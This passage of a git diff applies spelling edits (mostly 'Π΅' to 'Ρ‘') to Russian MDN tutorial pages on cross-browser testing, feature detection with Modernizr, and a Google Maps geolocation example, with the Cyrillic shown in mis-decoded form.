+ <li>Над этим элСмСнтом <code>&lt;link&gt;</code> Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ элСмСнт {{htmlelement ("script")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Modernizr ΠΊ страницС, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π­Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ ΠΊ страницС ΠΏΠ΅Ρ€Π΅Π΄ Π»ΡŽΠ±Ρ‹ΠΌ CSS (ΠΈΠ»ΠΈ JavaScript), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π΅Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.
<pre class="brush: html">&lt;script src="modernizr-custom.js"&gt;&lt;/script&gt;</pre>
</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ <code>&lt;html&gt;</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ выглядСл Ρ‚Π°ΠΊ:
@@ -268,7 +268,7 @@ blob-constructor cookies cors ...AND LOADS MORE VALUES!&gt;</pre>
clear: left;
}</pre>
-<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΆΠ΅ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚? ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ всС эти ΠΈΠΌΠ΅Π½Π° классов Π±Ρ‹Π»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² элСмСнт <code>&lt;html&gt;</code> Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ‚Π°Ρ€Π³Π΅Ρ‚ΠΈΠ½Π³ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΈΠ»ΠΈ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сСлСкторы-ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ здСсь ΠΌΡ‹ примСняСм Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ flexbox, Π° Π½ΠΈΠΆΠ½ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» - Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ (<code>no-flexbox</code>).</p>
+<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΆΠ΅ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚? ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ всС эти ΠΈΠΌΠ΅Π½Π° классов Π±Ρ‹Π»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² элСмСнт <code>&lt;html&gt;</code> Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ‚Π°Ρ€Π³Π΅Ρ‚ΠΈΠ½Π³ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΈΠ»ΠΈ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сСлСкторы-ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ здСсь ΠΌΡ‹ примСняСм Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ flexbox, Π° Π½ΠΈΠΆΠ½ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» - Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ (<code>no-flexbox</code>).</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ всС тСсты Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ HTML ΠΈ JavaScript Modernizr Ρ‚Π°ΠΊΠΆΠ΅ прСдставлСны Π² этих ΠΈΠΌΠ΅Π½Π°Ρ… классов, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ свободно ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ CSS Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ HTML ΠΈΠ»ΠΈ JavaScript, Ссли это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</p>
@@ -280,24 +280,24 @@ blob-constructor cookies cors ...AND LOADS MORE VALUES!&gt;</pre>
<h3 id="JavaScript_2">JavaScript</h3>
-<p>Modernizr Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ обнаруТСния JavaScript. Π­Ρ‚ΠΎ достигаСтся Π·Π° счСт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Modernizr</code> становится доступным для страницы, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ примСняСтся, ΠΈ содСрТит Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, опрСдСляСмой ΠΊΠ°ΠΊ свойства <code>true</code>/<code>false</code>.</p>
+<p>Modernizr Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ обнаруТСния JavaScript. Π­Ρ‚ΠΎ достигаСтся Π·Π° счёт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Modernizr</code> становится доступным для страницы, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ примСняСтся, ΠΈ содСрТит Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, опрСдСляСмой ΠΊΠ°ΠΊ свойства <code>true</code>/<code>false</code>.</p>
-<p>НапримСр, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° консоль JavaScript ΠΈ Π½Π°Π±Ρ€Π°Ρ‚ΡŒΒ  <code>Modernizr.</code>, Π° послС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих ΠΈΠΌΠ΅Π½ классов (ΠΎΠ½ΠΈ Ρ‚ΠΎΠΆΠ΅ здСсь ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹). НапримСр:</p>
+<p>НапримСр, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° консоль JavaScript ΠΈ Π½Π°Π±Ρ€Π°Ρ‚ΡŒΒ  <code>Modernizr.</code>, Π° послС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих ΠΈΠΌΡ‘Π½ классов (ΠΎΠ½ΠΈ Ρ‚ΠΎΠΆΠ΅ здСсь ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹). НапримСр:</p>
<pre>Modernizr.flexbox
Modernizr.websqldatabase
Modernizr.xhr2
Modernizr.fetch</pre>
-<p>Консоль Π²Π΅Ρ€Π½Π΅Ρ‚ значСния <code>true</code>/<code>false</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</p>
+<p>Консоль Π²Π΅Ρ€Π½Ρ‘Ρ‚ значСния <code>true</code>/<code>false</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π²Ρ‹ Π±Ρ‹ пользовали эти свойства.</p>
<ol>
<li>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, сдСлайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию Ρ„Π°ΠΉΠ»Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-js.html">modernizr-js.html</a></code>.</li>
<li>ΠŸΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Modernizr ΠΊ HTML, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ элСмСнт <code>&lt;script&gt;</code> , ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… дСмонстрациях.Β ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π½Π°Π΄ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ элСмСнтом <code>&lt;script&gt;</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прикрСпляСт API Google Maps ΠΊ страницС.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ тСкст-Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ <code>YOUR-API-KEY</code> Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ элСмСнтС <code>&lt;script&gt;</code> (ΠΊΠ°ΠΊ ΠΎΠ½ Π΅ΡΡ‚ΡŒ сСйчас) Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ API Google Maps. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡, Π²ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись Google, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° страницу <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡ / АутСнтификация</a>Β Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ синюю ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Get a Key</em> ΠΈ слСдуйтС инструкциям.</li>
- <li>НаконСц, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ элСмСнт <code>&lt;script&gt;</code> Π²Π½ΠΈΠ·Ρƒ Ρ‚Π΅Π»Π° HTML (нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅Π³ΠΎΠΌ <code>&lt;/body&gt;</code> ) ΠΈ помСститС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ скрипт Π² Ρ‚Π΅Π³ΠΈ:
+ <li>Π—Π°Ρ‚Π΅ΠΌ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ тСкст-Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ <code>YOUR-API-KEY</code> Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ элСмСнтС <code>&lt;script&gt;</code> (ΠΊΠ°ΠΊ ΠΎΠ½ Π΅ΡΡ‚ΡŒ сСйчас) Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ API Google Maps. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡, Π²ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись Google, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° страницу <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡ / АутСнтификация</a>Β Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ синюю ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Get a Key</em> ΠΈ слСдуйтС инструкциям.</li>
+ <li>НаконСц, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ элСмСнт <code>&lt;script&gt;</code> Π²Π½ΠΈΠ·Ρƒ Ρ‚Π΅Π»Π° HTML (нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅Π³ΠΎΠΌ <code>&lt;/body&gt;</code> ) ΠΈ помСститС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ скрипт Π² Ρ‚Π΅Π³ΠΈ:
<pre class="brush: js">if (Modernizr.geolocation) {
navigator.geolocation.getCurrentPosition(function(position) {
@@ -324,9 +324,9 @@ Modernizr.fetch</pre>
<h2 id="ПодвСдСниС_ΠΈΡ‚ΠΎΠ³ΠΎΠ²">ПодвСдСниС ΠΈΡ‚ΠΎΠ³ΠΎΠ²</h2>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π±Ρ‹Π»ΠΎ рассмотрСно ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ с достаточным количСством подробностСй, рассмотрСны основныС ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΈ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС тСсты обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Modernizr для Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ тСстов.</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π±Ρ‹Π»ΠΎ рассмотрСно ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ с достаточным количСством подробностСй, рассмотрСны основныС ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΈ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС тСсты обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Modernizr для Π±ΠΎΠ»Π΅Π΅ Π»Ρ‘Π³ΠΊΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ тСстов.</p>
-<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ тСстированиС.</p>
+<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ тСстированиС.</p>
<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</p>
@@ -335,9 +335,9 @@ Modernizr.fetch</pre>
<ul>
<li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС</a></li>
<li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Π‘Ρ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΠΈ провСдСния тСстирования</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">РСшСниС распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ HTML ΠΈ CSS</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">РСшСниС распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ JavaScript</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">РСшСниС распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ доступности</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">РСшСниС распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ HTML ΠΈ CSS</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">РСшСниС распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">РСшСниС распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ доступности</a></li>
<li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">РСализация Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ обнаруТСния</a></li>
<li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ тСстированиС</a></li>
<li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Настройка собствСнной срСды Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ тСстирования</a></li>
diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html
index 64ff9cafcc..7d16d4c70f 100644
--- a/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html
+++ b/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html
@@ -17,7 +17,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS
</tr>
<tr>
<th scope="row">ЦСль:</th>
- <td>Π˜ΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ распространСнныС кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ HTML ΠΈ CSS, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹Π΅ инструмСнты ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для ΠΈΡ… устранСния</td>
+ <td>Π˜ΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ распространённыС кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ HTML ΠΈ CSS, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹Π΅ инструмСнты ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для ΠΈΡ… устранСния</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/index.html
index bdb268acb6..e5a66a7963 100644
--- a/files/ru/learn/tools_and_testing/cross_browser_testing/index.html
+++ b/files/ru/learn/tools_and_testing/cross_browser_testing/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing
---
<div>{{LearnSidebar}}</div>
-<p class="summary">Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ фокусируСтся Π½Π° тСстировании Π²Π΅Π±-ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠœΡ‹ рассматриваСм ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ вашСй Ρ†Π΅Π»Π΅Π²ΠΎΠΉ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎ ΠΊΠ°ΠΊΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΡ…, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ устройствах Π²Π°ΠΌ большС всСго Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ?), Как ΠΏΡ€ΠΎΠΉΡ‚ΠΈ тСстированиС, основныС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Π°ΠΌ придСтся 